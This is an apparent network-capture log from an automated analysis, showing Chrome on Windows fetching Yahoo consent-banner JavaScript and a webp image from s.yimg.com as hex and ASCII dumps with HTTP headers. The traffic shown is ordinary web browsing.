2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 69 3f 2f 5e 6c 6f 61 64 65 64 7c 5e 63 2f 3a 2f 5e 6c 6f 61 64 65 64 7c 5e 69 7c 5e 63 2f 29 2e 74 65 73 74 28 6f 2e 72 65 61 64 79 53 74 61 74 65 29 29 7c 7c 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 73 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 6f 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 73 2c 6e 29 2c 61 3d 31 3b 6e 3d 74 2e 73 68 69 66 74 28 29 3b 29 6e 28 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3f 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 30 29 3a 74 2e 70 75 73 68 28 65 29 7d 29 7d 2c 35 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 6e 2e 72 75 6e 3d 6e 2e 72 75 6e 57 69 74 68 44 65 63 69 73 69 6f 6e Data Ascii: i?/^loaded\|^c/:/^loaded\|^i\|^c/).test(o.readyState))\|\|o.addEventListener(s,n=function(){for(o.removeEventListener(s,n),a=1;n=t.shift();)n()}),function(e){a?setTimeout(e,0):t.push(e)})},52:function(e,n,t){"use strict";n.__esModule=!0,n.run=n.runWithDecision
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 63 69 64 65 29 28 65 2c 66 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 6c 2e 64 69 73 70 61 74 63 68 54 61 73 6b 43 6f 6d 70 6c 65 74 65 64 45 76 65 6e 74 29 28 22 22 2c 21 31 29 7d 7d 7d 2c 36 36 39 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 2c 74 3d 31 2c 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 3c 6f 3b 74 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: cide)(e,f)}))}catch(e){(0,l.dispatchTaskCompletedEvent)("",!1)}}},6695:function(e,n,t){"use strict";var o=this&&this.__assign\|\|function(){return o=Object.assign\|\|function(e){for(var n,t=1,o=arguments.length;t<o;t++)for(var i in n=arguments[t])Object.proto
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 73 46 72 6f 6d 4d 65 74 61 54 61 67 73 29 28 29 7d 3b 74 72 79 7b 72 65 74 75 72 6e 28 30 2c 75 2e 67 65 74 49 74 65 6d 29 28 6d 29 26 26 28 30 2c 63 2e 64 65 66 61 75 6c 74 29 28 63 2e 73 65 72 76 69 63 65 54 79 70 65 2e 61 67 65 6e 74 41 75 74 68 29 26 26 28 74 3d 28 30 2c 61 2e 67 65 74 53 65 73 73 69 6f 6e 4f 62 6a 65 63 74 29 28 22 56 4d 41 67 65 6e 74 41 75 74 68 22 29 2c 21 28 30 2c 61 2e 69 73 56 61 6c 69 64 53 65 73 73 69 6f 6e 29 28 74 29 29 3f 67 28 29 3f 28 6f 2e 6f 75 74 63 6f 6d 65 3d 34 2c 76 6f 69 64 20 6e 28 6e 75 6c 6c 2c 6f 29 29 3a 28 6f 2e 6f 75 74 63 6f 6d 65 3d 33 2c 76 6f 69 64 20 6e 28 6e 75 6c 6c 2c 6f 29 29 3a 28 6f 2e 6f 75 74 63 6f 6d 65 3d 30 2c 6e 28 6e 75 6c 6c 2c 6f 29 2c 76 6f 69 64 28 30 2c 64 2e 64 69 73 70 61 74 63 68 Data Ascii: sFromMetaTags)()};try{return(0,u.getItem)(m)&&(0,c.default)(c.serviceType.agentAuth)&&(t=(0,a.getSessionObject)("VMAgentAuth"),!(0,a.isValidSession)(t))?g()?(o.outcome=4,void n(null,o)):(o.outcome=3,void n(null,o)):(o.outcome=0,n(null,o),void(0,d.dispatch
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 2e 59 43 54 42 61 6e 6e 65 72 2e 6c 61 73 74 44 65 63 69 73 69 6f 6e 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 6e 29 7b 69 66 28 22 79 62 61 6e 6e 65 72 2d 61 31 31 79 22 21 3d 3d 65 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 2e 65 78 70 65 72 69 6d 65 6e 74 29 7b 76 61 72 20 74 3d 28 30 2c 63 2e 65 6e 63 6f 64 65 29 28 65 2e 63 6f 6f 6b 69 65 52 65 73 75 6c 74 2e 63 6f 6e 73 65 6e 74 43 6f 6f 6b 69 65 73 2c 6e 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 26 28 30 2c 63 2e 73 61 76 65 53 65 73 73 69 6f 6e 29 28 74 2c 65 2e 6e 6f 72 6d 61 6c 69 7a 65 64 4f 70 74 69 6f 6e 73 2e 63 6f 6e 73 65 6e 74 48 6f 73 74 29 2c 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 2c 6e 29 7b 76 Data Ascii: .YCTBanner.lastDecision.normalizedOptions)))}function C(e,n){if("ybanner-a11y"!==e.normalizedOptions.experiment){var t=(0,c.encode)(e.cookieResult.consentCookies,n);return null!==t&&(0,c.saveSession)(t,e.normalizedOptions.consentHost),t}}function y(e,n){v
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 75 2e 4d 65 73 73 61 67 65 54 79 70 65 2e 63 6f 6e 74 65 78 74 44 61 74 61 3a 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 30 2c 63 2e 69 73 56 61 6c 69 64 53 65 73 73 69 6f 6e 56 61 6c 75 65 29 28 6e 2c 65 2e 63 6f 6f 6b 69 65 52 65 73 75 6c 74 2e 63 6f 6e 73 65 6e 74 43 6f 6f 6b 69 65 73 29 3f 6e 3a 6e 75 6c 6c 7d 28 65 2c 6e 2e 73 65 73 73 69 6f 6e 29 3b 69 66 28 6e 2e 69 73 42 61 6e 6e 65 72 45 6c 69 67 69 62 6c 65 26 26 21 6c 29 7b 6f 2e 64 69 73 70 6c 61 79 46 72 61 6d 65 28 29 2c 74 3d 21 30 2c 79 28 65 2c 22 63 6a 73 42 61 6e 6e 65 72 44 69 73 70 6c 61 79 22 29 2c 6f 2e 72 65 66 72 65 73 68 46 72 61 6d 65 53 69 7a 65 28 29 3b 76 61 72 20 64 3d 43 28 65 2c 31 29 3b 64 26 26 6f 2e 73 65 74 46 72 61 6d 65 53 65 73 Data Ascii: u.MessageType.contextData:var l=function(e,n){return(0,c.isValidSessionValue)(n,e.cookieResult.consentCookies)?n:null}(e,n.session);if(n.isBannerEligible&&!l){o.displayFrame(),t=!0,y(e,"cjsBannerDisplay"),o.refreshFrameSize();var d=C(e,1);d&&o.setFrameSes
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 6e 63 74 69 6f 6e 20 53 28 65 29 7b 69 2e 73 74 61 72 74 3d 2b 6e 65 77 20 44 61 74 65 2c 28 30 2c 61 2e 64 65 66 61 75 6c 74 29 28 65 2c 6b 29 7d 6e 2e 62 61 6e 6e 65 72 54 61 73 6b 4e 61 6d 65 3d 22 50 72 69 76 61 63 79 42 61 6e 6e 65 72 22 2c 6e 2e 72 75 6e 57 69 74 68 44 65 63 69 73 69 6f 6e 3d 6b 2c 6e 2e 72 75 6e 3d 53 2c 67 2e 59 43 54 42 61 6e 6e 65 72 7c 7c 28 67 2e 59 43 54 42 61 6e 6e 65 72 3d 7b 6c 61 73 74 44 65 63 69 73 69 6f 6e 3a 6e 75 6c 6c 2c 68 61 73 49 6e 6c 69 6e 65 42 61 6e 6e 65 72 3a 6e 75 6c 6c 2c 69 73 41 63 74 69 76 65 3a 21 31 2c 73 68 6f 77 42 61 6e 6e 65 72 3a 6e 75 6c 6c 2c 70 65 72 66 3a 7b 7d 2c 73 75 62 6d 69 74 3a 6e 75 6c 6c 2c 72 75 6e 3a 53 2c 64 65 63 69 64 65 57 69 74 68 43 6f 6f 6b 69 65 3a 72 2e 64 65 63 69 64 65 Data Ascii: nction S(e){i.start=+new Date,(0,a.default)(e,k)}n.bannerTaskName="PrivacyBanner",n.runWithDecision=k,n.run=S,g.YCTBanner\|\|(g.YCTBanner={lastDecision:null,hasInlineBanner:null,isActive:!1,showBanner:null,perf:{},submit:null,run:S,decideWithCookie:r.decide
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 65 61 6b 3b 64 65 66 61 75 6c 74 3a 61 3d 31 30 39 7d 6f 2e 72 65 6d 6f 74 65 52 65 73 75 6c 74 3d 7b 6f 75 74 63 6f 6d 65 3a 61 2c 61 63 74 69 6f 6e 3a 69 2e 61 63 74 69 6f 6e 2c 63 6f 6f 6b 69 65 73 3a 5b 5d 2c 75 6e 73 61 66 65 52 65 6a 65 63 74 65 64 43 6f 6f 6b 69 65 73 3a 5b 5d 7d 2c 73 28 65 2c 6f 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 65 2e 63 6f 6e 73 65 6e 74 48 6f 73 74 26 26 65 2e 69 73 53 74 61 74 69 63 42 61 6e 6e 65 72 45 6e 61 62 6c 65 64 29 7d 6e 2e 70 72 6f 63 65 73 73 42 61 6e 6e 65 72 53 65 72 76 69 63 65 52 65 73 70 6f 6e 73 65 3d 76 2c 6e 2e 69 73 56 61 6c 69 64 4f 70 74 69 6f 6e 73 3d 68 2c 6e 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e Data Ascii: eak;default:a=109}o.remoteResult={outcome:a,action:i.action,cookies:[],unsafeRejectedCookies:[]},s(e,o)}}function h(e){return!!(e&&e.consentHost&&e.isStaticBannerEnabled)}n.processBannerServiceResponse=v,n.isValidOptions=h,n.default=function(e,n){function
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 72 65 61 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 21 74 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 6f 2c 69 2c 73 3d 74 2e 63 61 6c 6c 28 65 29 2c 61 3d 5b 5d 3b 74 72 79 7b 66 6f 72 28 3b 28 76 6f 69 64 20 30 3d 3d 3d 6e 7c 7c 6e 2d 2d 20 3e 30 29 26 26 21 28 6f 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 61 2e 70 75 73 68 28 6f 2e 76 61 6c 75 65 29 7d 63 61 74 63 68 28 65 29 7b 69 3d 7b 65 72 72 6f 72 3a 65 7d 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 6f 26 26 21 6f 2e 64 6f 6e 65 26 26 28 74 3d Data Ascii: strict";var o=this&&this.__read\|\|function(e,n){var t="function"==typeof Symbol&&e[Symbol.iterator];if(!t)return e;var o,i,s=t.call(e),a=[];try{for(;(void 0===n\|\|n-- >0)&&!(o=s.next()).done;)a.push(o.value)}catch(e){i={error:e}}finally{try{o&&!o.done&&(t=
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 42 52 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 41 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 2c 22 43 4c 22 2c 22 43 4e 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 4f 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 52 22 2c 22 43 49 22 2c 22 43 55 22 2c 22 43 57 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 45 43 22 2c 22 45 47 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 52 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 Data Ascii: BQ","BA","BW","BV","BR","IO","BN","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","CU","CW","DJ","DM","EC","EG","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GR","GL","GD","

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49798	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	763	OUT	GET /uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1287	IN	HTTP/1.1 200 OK Content-Length: 34492 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 323221467239709153250724220959749928914,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a407ad50-affc-11ee-b5ff-62a691ec49a4.webp" Edge-Cache-Tag: 323221467239709153250724220959749928914,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Etag: "6c12b2dc98e544f7bf8c34b13af4cbb3" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 21:14:17 GMT Server: ATS Surrogate-Reporting: width=560,height=272,bytes=34492,owidth=7022,oheight=3954,obytes=2167225,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 21:32:05 GMT X-Served-By: cache-iad-kjyo7100127-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704922325.164076,VS0,VE1 Age: 6904 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100127-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 b4 86 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 2f 02 00 0f 01 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 d0 00 08 00 0b 00 13 00 33 00 3b 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFFWEBPVP8X /ICCP00ADBEmntrRGB XYZ 3;acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 7e ad 63 34 30 e2 0a fc b0 25 ad 85 8a f3 1b e3 d3 5f a3 df 83 f4 3b e3 3f ae 35 c6 b0 79 0d 21 ff af 3e 7c 03 43 ca 36 82 02 24 ab d5 51 31 61 b3 e9 5c a3 a7 c4 e7 44 38 75 0b f3 ff 1e 65 67 09 7b 0b d2 50 d9 76 8a 2b a1 bc c7 00 2c c6 73 e8 9b 45 da 6b 4c 83 f3 ac 2a d8 14 97 86 d1 d7 23 0f 49 8c 49 c7 a9 e9 94 78 16 09 a1 a7 e0 aa 47 ba ea 04 42 f0 c3 be 86 34 87 a6 3e 79 1f 04 c7 2c f6 f8 2f dc 21 fc 89 32 9c 25 d4 a4 e8 35 6c a8 05 00 4c 7c 48 79 d7 90 c0 04 ae 59 4e 4f 51 d0 c0 12 af d6 73 ac d4 86 c5 b7 89 0d 7a 15 3a 8a bd 28 62 55 d1 d2 7e e9 5b ab e4 98 79 b4 35 47 6c c1 3e e6 17 d5 81 63 77 ab 5b ef dd bd 7e 2d 01 bb 28 d1 c5 be fe 06 ca 53 03 e9 e8 a0 42 4b 52 11 8d b8 09 f5 2e 3e 60 5c d5 66 a8 45 6b 8a 5e bd d7 1d 7c fe ce e9 ee a4 84 f9 ef Data Ascii: ~c40%_;?5y!>\|C6$Q1a\D8ueg{Pv+,sEkL*#IIxGB4>y,/!2%5lL\|HyYNOQsz:(bU~[y5Gl>cw[~-(SBKR.>`\fEk^\|
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 43 a2 39 4f 35 63 0e f6 59 7a 68 54 df f1 e2 99 5a f3 ec d8 6a e5 0b 43 69 72 96 36 e0 1b 41 30 3b f5 58 48 e4 f8 c5 ca e8 ea 98 06 2a d4 aa 0c ac 7b 0f 43 08 09 e8 b6 89 65 57 68 cf 32 68 e7 a0 f5 fb 63 1e 19 2a 26 89 c1 55 ad 9a d9 3f 91 e7 2c de 63 cb eb fd 85 6b 6a e4 ef 89 21 69 65 36 fa e8 01 c1 d8 30 1a 24 1c cd b5 de e0 24 03 f0 ff af 7c f6 bc 6e 58 76 3d 89 90 5f c0 a1 4e 1f 2d 5b d6 a4 cf 77 61 32 61 cb b7 11 56 58 fa 49 0c e6 27 48 39 cc d2 7c f7 3a 12 52 74 32 55 9d 5f cf de bb 29 0d e0 a8 b0 c7 06 64 ca 5a c0 e8 cf ce db 2d 4f 05 60 9f 48 c4 9c 3a d9 fc e3 b7 09 7d 6f 18 d5 cc da 9a c3 7a 2f f9 ae 71 24 85 58 f7 3d ec a9 64 97 30 af 46 75 71 99 71 45 cf 96 e5 4f 70 e0 db ba 4f c3 e7 5c af 68 28 bd 09 49 28 4c 9a d4 24 e2 05 a5 08 4c 9c 44 33 Data Ascii: C9O5cYzhTZjCir6A0;XH{CeWh2hc&U?,ckj!ie60$$\|nXv=_N-[wa2aVXI'H9\|:Rt2U_)dZ-O`H:}oz/q$X=d0FuqqEOpO\h(I(L$LD3
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: fa a5 07 d3 1f 75 c0 b4 e1 43 48 8b 9e 4b 3d 76 4f 63 49 73 b3 40 05 0d 23 ef 12 f7 63 3d ee 8e 4d db 3d 5d 87 e1 23 e4 e1 39 82 f6 b9 9e 07 dd 3e 9c c3 67 8e 03 41 13 bc 2a a7 ae 2f 0c 4f 3f cd 6d 5a 86 b2 38 24 99 f5 e8 bb 71 c2 ae 9e 0e 48 d0 62 b1 9e 69 12 f2 92 e7 25 b2 57 05 59 99 80 bd 30 91 4a 3f 43 dd 75 7f 11 d3 b0 dc a8 79 7b d4 89 4d ac bb 5b fb 1a 1b a5 e5 ba dc bf 0f ab 7f ce f5 9d 63 34 8a 8c 8d 14 c4 c1 4e d4 6a 7c 03 e9 d4 c2 0c 41 ed 0e a1 c6 c8 1d 88 d9 64 11 eb 6f c7 9b 74 e5 6f b7 a8 df ad a2 54 47 85 25 46 c2 22 dc 04 26 fa 87 48 41 95 78 9b e2 f0 95 e6 3e 5b db fd 0a 42 af 97 d6 51 80 79 5a 5b 8b 15 51 03 51 c3 b3 7c 2d d2 91 6b 51 dc 56 80 ed b9 2e a5 ba 4e 1e 17 cd 7a 95 15 84 22 fa 45 95 77 d1 a4 50 32 27 fd fd 12 56 43 62 99 d6 Data Ascii: uCHK=vOcIs@#c=M=]#9>gA*/O?mZ8$qHbi%WY0J?Cuy{M[c4Nj\|AdotoTG%F"&HAx>[BQyZ[QQ\|-kQV.Nz"EwP2'VCb
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: a9 1c 34 fe 67 fd aa c4 eb f9 a1 0b 80 d4 69 2b 23 b5 16 fc a2 3f 4b c9 e7 49 fc 3c 54 15 d9 d7 d1 19 c3 2c f8 03 07 eb 95 c0 ad 05 ae 2d 79 35 b3 51 6d f2 c4 55 06 e5 a1 5e 0d 1a 38 11 9b e8 03 e9 c5 bb a4 69 14 6a 73 b1 0a 5c 2e 13 8a 27 eb 40 81 c4 57 05 ab d0 f5 cb ed 43 6b 48 be be 3b 6b 93 04 2c 56 66 a8 ac 4b e6 84 96 9e 46 cb 86 82 ea 0f df b0 7f fd 7b a0 6a 2f 37 05 17 df bf 43 a9 48 d5 ee a3 45 48 12 97 3c 79 16 e9 a4 2c 0f 28 2d e5 cb cc a7 e0 99 b3 3b 4c 6d aa d6 f4 1f 37 31 0e 6e d5 4d d3 5d cd dc 0c 5c e2 27 c7 36 fe 4e 98 5e 5f 22 46 64 67 cd c5 bd 50 9b 71 08 25 0a dc fd f6 6a cc ee c8 ef db 74 db 2d 92 73 0b d4 4b 94 91 43 07 6c 3d ec a6 e8 26 1e df 55 81 a7 c3 b2 2e a1 7b d9 70 95 29 72 71 81 cb e9 1c d9 e9 a5 25 66 2f ec 48 58 56 b8 13 Data Ascii: 4gi+#?KI<T,-y5QmU^8ijs\.'@WCkH;k,VfKF{j/7CHEH<y,(-;Lm71nM]\'6N^_"FdgPq%jt-sKCl=&U.{p)rq%f/HXV
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 90 7a bb 44 5d e2 a3 91 43 96 44 a1 ff 42 a6 ae 0c 4c 89 25 74 82 af ff f1 5a e2 fe 44 0f 3d 37 07 32 f2 9d 38 4f e6 0f c8 15 7e f5 8b ba c7 c0 db 92 03 9b 5c 0e a7 4f 10 75 cc f7 2f 45 bb 44 36 d7 82 99 38 13 0d 54 fe 0b 3f 09 9a e8 d1 80 57 c5 50 79 2d ec 1b 80 45 3f 68 ad 3d 38 d7 30 fd 27 94 e9 bb 7e ba 1b e2 4b 3b a8 2a 7c 4e 02 fd c7 88 14 5a 7d 53 7b 64 a9 cc 11 20 8d 8e cc 1c a4 3c 8e bb a5 56 7d dc 58 73 55 21 16 90 5f 1b 34 a4 09 7a 1a 1a 32 47 47 99 f6 38 df 8b 9b e4 c6 fd 70 ee c3 80 e8 5d 48 1c d8 b1 0d cc a0 ba fc 07 23 bc 58 84 07 5a 5a 17 75 b6 4d 75 76 4c 63 ff 35 07 4c 70 c9 0e b8 4e c8 06 bf 7a 7f 19 45 3c 7b ce 75 f5 d5 f6 74 c9 de 1f 4d 3f 84 d7 ee ed b2 72 78 bc 74 16 79 de d4 4f 8e 2e fe 79 b8 e1 15 a9 7e b7 3d 3f c3 b9 01 85 33 33 Data Ascii: zD]CDBL%tZD=728O~\Ou/ED68T?WPy-E?h=80'~K;*\|NZ}S{d <V}XsU!_4z2GG8p]H#XZZuMuvLc5LpNzE<{utM?rxtyO.y~=?33
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 90 bf b1 e2 f2 46 d6 30 98 b4 70 91 ed f6 78 1d 67 bd 33 7b 97 6e ce c0 0f d9 eb 90 2a b6 92 c1 6b 5e ef c5 14 4b 38 bb ae d7 36 73 cd 82 09 62 5d 2c 71 32 39 57 13 94 9b 6e 15 51 54 e3 56 96 fc 39 85 a4 87 31 47 9f a0 c0 17 c8 68 6d 52 b5 12 3d 6f 53 2f 39 ed 23 d4 d9 43 6d 4b f3 45 70 d6 a5 35 57 b9 01 94 9a e3 61 22 fe 71 02 18 87 7f 92 f9 cb c9 80 2c bb ca f0 18 e9 93 9c fd db 8d d0 ef a1 16 a6 ff 17 61 fd aa 11 de af b9 b9 b0 64 25 7e 46 f5 ac 28 6a ab cc d2 41 c0 5c 46 34 2a 37 75 fe 2a 36 b3 d5 54 3e 1e 86 98 62 82 fe 3e 3c e2 9b 7b 09 79 be ee 83 3f 4e f1 53 fd 28 91 84 d3 e9 25 8d e6 8b da 2f 64 b2 e4 89 02 a8 8a dd f9 79 8e fe 1c a1 c7 89 04 46 ac ab 02 4f 16 5f aa 1e 39 76 39 70 af 00 f0 00 0f c7 c2 5b 9d cf 9e 29 cc 6f 1f 78 e8 e7 22 c6 a0 33 Data Ascii: F0pxg3{nk^K86sb],q29WnQTV91GhmR=oS/9#CmKEp5Wa"q,ad%~F(jA\F47u*6T>b><{y?NS(%/dyFO_9v9p[)ox"3
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 7c 5b d2 48 17 8d c1 92 c2 16 4b 09 50 0e 0a 1f 22 19 95 34 c4 30 3e f8 6e 71 40 d3 04 7c 32 af 70 52 c7 68 b4 54 5d 23 e3 47 cb 2e ee ed ca 36 9e c4 49 b5 ff 17 d7 f5 c6 ea 02 60 ca aa 13 36 88 08 49 e1 cf 28 ca 30 59 11 d5 c4 e1 e9 fc 6f 82 26 27 18 21 09 92 5c 47 12 0c af 6a d9 5f 2f d8 74 19 b8 34 2a 8e a4 42 8f a1 dc 26 4b 70 b2 eb 55 c3 56 6e b8 56 c9 69 56 b7 3b 31 ab 57 63 b4 14 f6 2b e3 dc 2c c4 fa 93 22 e7 78 d2 aa 49 2e d9 af 15 a2 02 87 12 01 85 18 3b 37 a6 7a 38 36 3f f4 db dc 0d a4 1c 84 8a a5 37 32 f6 5d 4e e5 d4 6d a9 99 bc 23 60 16 90 fd f8 10 29 1d fe f2 9e 73 bb bb 0c 2a 97 77 57 c5 22 4a a1 4b 99 a3 07 8d b0 8d e3 11 50 3b cc 99 13 ec e4 7b 40 6e 54 3e c3 8c 3d 04 ed 06 f9 84 8b 5a fd a6 d2 ac 0d 73 7d cd 34 59 3a 5c 19 2c c0 cd d9 0b Data Ascii: \|[HKP"40>nq@\|2pRhT]#G.6I`6I(0Yo&'!\Gj_/t4B&KpUVnViV;1Wc+,"xI.;7z86?72]Nm#`)swW"JKP;{@nT>=Zs}4Y:\,
